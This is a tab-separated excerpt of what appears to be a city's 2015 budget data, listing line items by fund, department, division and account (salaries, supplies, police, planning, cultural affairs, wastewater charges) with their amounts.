13617	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522620.0	RENT	804.0	 Supplies and Expenses	2015	467443.0	0	0	0	0	0	0.0	0	0	0	0	0.0	467443.0
13618	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	544340.0	INDIRECT COST ALLOCATION	810.0	 Supplies and Expenses	2015	95897.0	0	0	0	0	0	0.0	0	0	0	0	0.0	95897.0
13619	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2015	40000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	40000.0
13620	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511490.0	OVERTIME	816.0	Salaries and Wages	2015	58998.0	0	0	0	0	0	0.0	0	0	0	0	0.0	58998.0
13621	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522720.0	MILEAGE	816.0	 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
13622	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	866906.0	0	0	0	0	0	0.0	0	0	0	0	0.0	866906.0
13623	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13624	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13625	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522720.0	MILEAGE	810.0	 Supplies and Expenses	2015	101.0	0	0	0	0	0	0.0	0	0	0	0	0.0	101.0
13626	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511490.0	OVERTIME	816.0	Salaries and Wages	2015	9613.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9613.0
13627	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2015	2129.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2129.0
13628	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2015	28298.0	0	0	0	0	0	0.0	0	0	0	0	0.0	28298.0
13629	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569120.0	SM MUSEUM OF ART	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13630	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569130.0	SM HISTORICAL SOCIETY	810.0	 Supplies and Expenses	2015	14000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14000.0
13631	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2015	8330.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8330.0
13632	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2015	1453.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1453.0
13633	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
13634	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2015	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
13635	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13636	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	555210.0	TRAINING	816.0	 Supplies and Expenses	2015	25000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25000.0
13637	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544040.0	BOOKS / PAMPHLETS	810.0	 Supplies and Expenses	2015	105.0	0	0	0	0	0	0.0	0	0	0	0	0.0	105.0
13638	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544400.0	COMMUNITY ARTS GRANT	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13639	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	544120.0	PERIODICALS	816.0	 Supplies and Expenses	2015	416.0	0	0	0	0	0	0.0	0	0	0	0	0.0	416.0
13640	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2015	126501.0	0	0	0	0	0	0.0	0	0	0	0	0.0	126501.0
13641	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2015	5262.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5262.0
13642	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2015	24418.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24418.0
13643	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2015	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
13644	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2015	14547.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14547.0
13645	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	544170.0	UNIFORM / PROTECTIVE CLOTHING	816.0	 Supplies and Expenses	2015	6000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6000.0
13646	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2015	45484.0	0	0	0	0	0	0.0	0	0	0	0	0.0	45484.0
13647	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2015	2088.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2088.0
13648	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13649	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2015	2376284.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2376284.0
13650	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2015	8060.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8060.0
13651	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13652	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511730.0	WORKERS' COMP INSURANCE	816.0	Salaries and Wages	2015	91968.0	0	0	0	0	0	0.0	0	0	0	0	0.0	91968.0
13653	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	816.0	 Supplies and Expenses	2015	38967.0	0	0	0	0	0	0.0	0	0	0	0	0.0	38967.0
13654	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2015	5088.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5088.0
13655	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	1351083.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1351083.0
13656	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544180.0	SMALL TOOLS	806.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13657	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2015	4100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4100.0
13658	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522720.0	MILEAGE	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13659	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2015	17419203.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17419203.0
13660	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	520000.0	SUPPLIES AND EXPENSES	806.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13661	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	566870.0	HORSE PATROL	806.0	 Supplies and Expenses	2015	17052.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17052.0
13662	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	533160.0	PHOTO EQUIPMENT MAINTENANCE	806.0	 Supplies and Expenses	2015	1774.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1774.0
13663	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2015	42324.0	0	0	0	0	0	0.0	0	0	0	0	0.0	42324.0
13664	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2015	33875.0	0	0	0	0	0	0.0	0	0	0	0	0.0	33875.0
13665	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2015	21000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21000.0
13666	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511000.0	PERMANENT EMPLOYEES	840.0	Salaries and Wages	2015	645360.0	0	0	0	0	0	0.0	0	0	0	0	0.0	645360.0
13667	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2015	1149.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1149.0
13668	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2015	3591378.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3591378.0
13669	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2015	16773.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16773.0
13670	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13671	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2015	12000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12000.0
13672	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544040.0	BOOKS / PAMPHLETS	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13673	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	555010.0	CONTRACTUAL SERVICES	816.0	 Supplies and Expenses	2015	10740.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10740.0
13674	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2015	8940.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8940.0
13675	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	566550.0	COMMUNITY FESTIVALS	810.0	 Supplies and Expenses	2015	249829.0	0	0	0	0	0	0.0	0	0	0	0	0.0	249829.0
13676	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569140.0	VIRGINIA AVENUE PROJECT	810.0	 Supplies and Expenses	2015	34000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	34000.0
13677	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569180.0	HIGHWAYS PERFORMANCE SPACE	810.0	 Supplies and Expenses	2015	25900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25900.0
13678	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511490.0	OVERTIME	816.0	Salaries and Wages	2015	1562.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1562.0
13679	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2015	8180.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8180.0
13680	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511490.0	OVERTIME	804.0	Salaries and Wages	2015	5417.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5417.0
13681	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13682	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511250.0	STANDBY PAY	816.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13683	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522610.0	EQUIPMENT RENTAL	806.0	 Supplies and Expenses	2015	130052.0	0	0	0	0	0	0.0	0	0	0	0	0.0	130052.0
13684	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555210.0	TRAINING	806.0	 Supplies and Expenses	2015	307095.0	0	0	0	0	0	0.0	0	0	0	0	0.0	307095.0
13685	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2015	624.0	0	0	0	0	0	0.0	0	0	0	0	0.0	624.0
13686	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2015	3251.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3251.0
13687	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2015	49002.0	0	0	0	0	0	0.0	0	0	0	0	0.0	49002.0
13688	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2015	1998.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1998.0
13689	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	544080.0	LICENSE TAGS / STICKERS	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13690	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13691	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522110.0	UTIL - LIGHT / POWER	806.0	 Supplies and Expenses	2015	10357.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10357.0
13692	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522160.0	TRANSFER STATION FEE	806.0	 Supplies and Expenses	2015	1174.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1174.0
13693	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533020.0	GENERAL LIABILITY / AUTO	806.0	 Supplies and Expenses	2015	557354.0	0	0	0	0	0	0.0	0	0	0	0	0.0	557354.0
13694	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544030.0	BADGE / AWARD / NAME PLA	806.0	 Supplies and Expenses	2015	15965.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15965.0
13695	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2015	5177.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5177.0
13696	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	566140.0	INVESTIGATION EXPENSE	806.0	 Supplies and Expenses	2015	2991.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2991.0
13697	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2015	261.0	0	0	0	0	0	0.0	0	0	0	0	0.0	261.0
13698	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511500.0	TEMPORARY EMPLOYEES	806.0	Salaries and Wages	2015	206070.0	0	0	0	0	0	0.0	0	0	0	0	0.0	206070.0
13699	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	401430.0	CONN/CAP PERMIT FEES	650.0	Charges for Service	2015	-6000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6000.0
13700	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	401650.0	SEWER SERVICE CHARGES	650.0	Charges for Service	2015	-15023378.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-15023378.0
13701	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	100410.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100410.0
13702	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511490.0	OVERTIME	804.0	Salaries and Wages	2015	5167.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5167.0
13703	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2015	87000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	87000.0
13704	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	544120.0	PERIODICALS	804.0	 Supplies and Expenses	2015	400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	400.0
13705	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533570.0	CONF / MTGS / TRAVEL-TOD	804.0	 Supplies and Expenses	2015	7268.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7268.0
13706	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2015	24389.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24389.0
13707	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2015	718.0	0	0	0	0	0	0.0	0	0	0	0	0.0	718.0
13708	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2015	12216.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12216.0
13709	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	555210.0	TRAINING	804.0	 Supplies and Expenses	2015	8000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8000.0
13710	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13711	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13712	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13713	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511490.0	OVERTIME	806.0	Salaries and Wages	2015	109131.0	0	0	0	0	0	0.0	0	0	0	0	0.0	109131.0
13714	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	555210.0	TRAINING	804.0	 Supplies and Expenses	2015	3054.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3054.0
13715	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2015	1018.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1018.0
13716	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13717	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13718	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13719	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511730.0	WORKERS' COMP INSURANCE	806.0	Salaries and Wages	2015	3622064.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3622064.0
13720	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2015	14576.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14576.0
13721	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533580.0	COMPUTER/SOFTWARE MAINTENANCE	806.0	 Supplies and Expenses	2015	497648.0	0	0	0	0	0	0.0	0	0	0	0	0.0	497648.0
13722	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2015	138600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	138600.0
13723	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2015	11848526.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11848526.0
13724	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511490.0	OVERTIME	806.0	Salaries and Wages	2015	1089244.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1089244.0
13725	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2015	2087.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2087.0
13726	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	3800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3800.0
13727	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
13728	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2015	22000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	22000.0
13729	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	46488.0	0	0	0	0	0	0.0	0	0	0	0	0.0	46488.0
13730	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2015	8000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8000.0
13731	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13732	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13733	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522160.0	TRANSFER STATION FEE	816.0	 Supplies and Expenses	2015	1661.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1661.0
13734	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2015	71988.0	0	0	0	0	0	0.0	0	0	0	0	0.0	71988.0
13735	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2015	800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	800.0
13736	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	404340.0	INDUSTRIAL WASTE FEES	650.0	Charges for Service	2015	-375000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-375000.0
13737	BA	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTEWATER	405500.0	STORMWATER MGMT USER FEE	650.0	Charges for Service	2015	-1240000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1240000.0
13738	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	9538.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9538.0
13739	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	555210.0	TRAINING	804.0	 Supplies and Expenses	2015	15000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15000.0
13740	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533600.0	CONF / MTGS / TRAVEL-KM	804.0	 Supplies and Expenses	2015	7268.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7268.0
13741	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2015	305.0	0	0	0	0	0	0.0	0	0	0	0	0.0	305.0
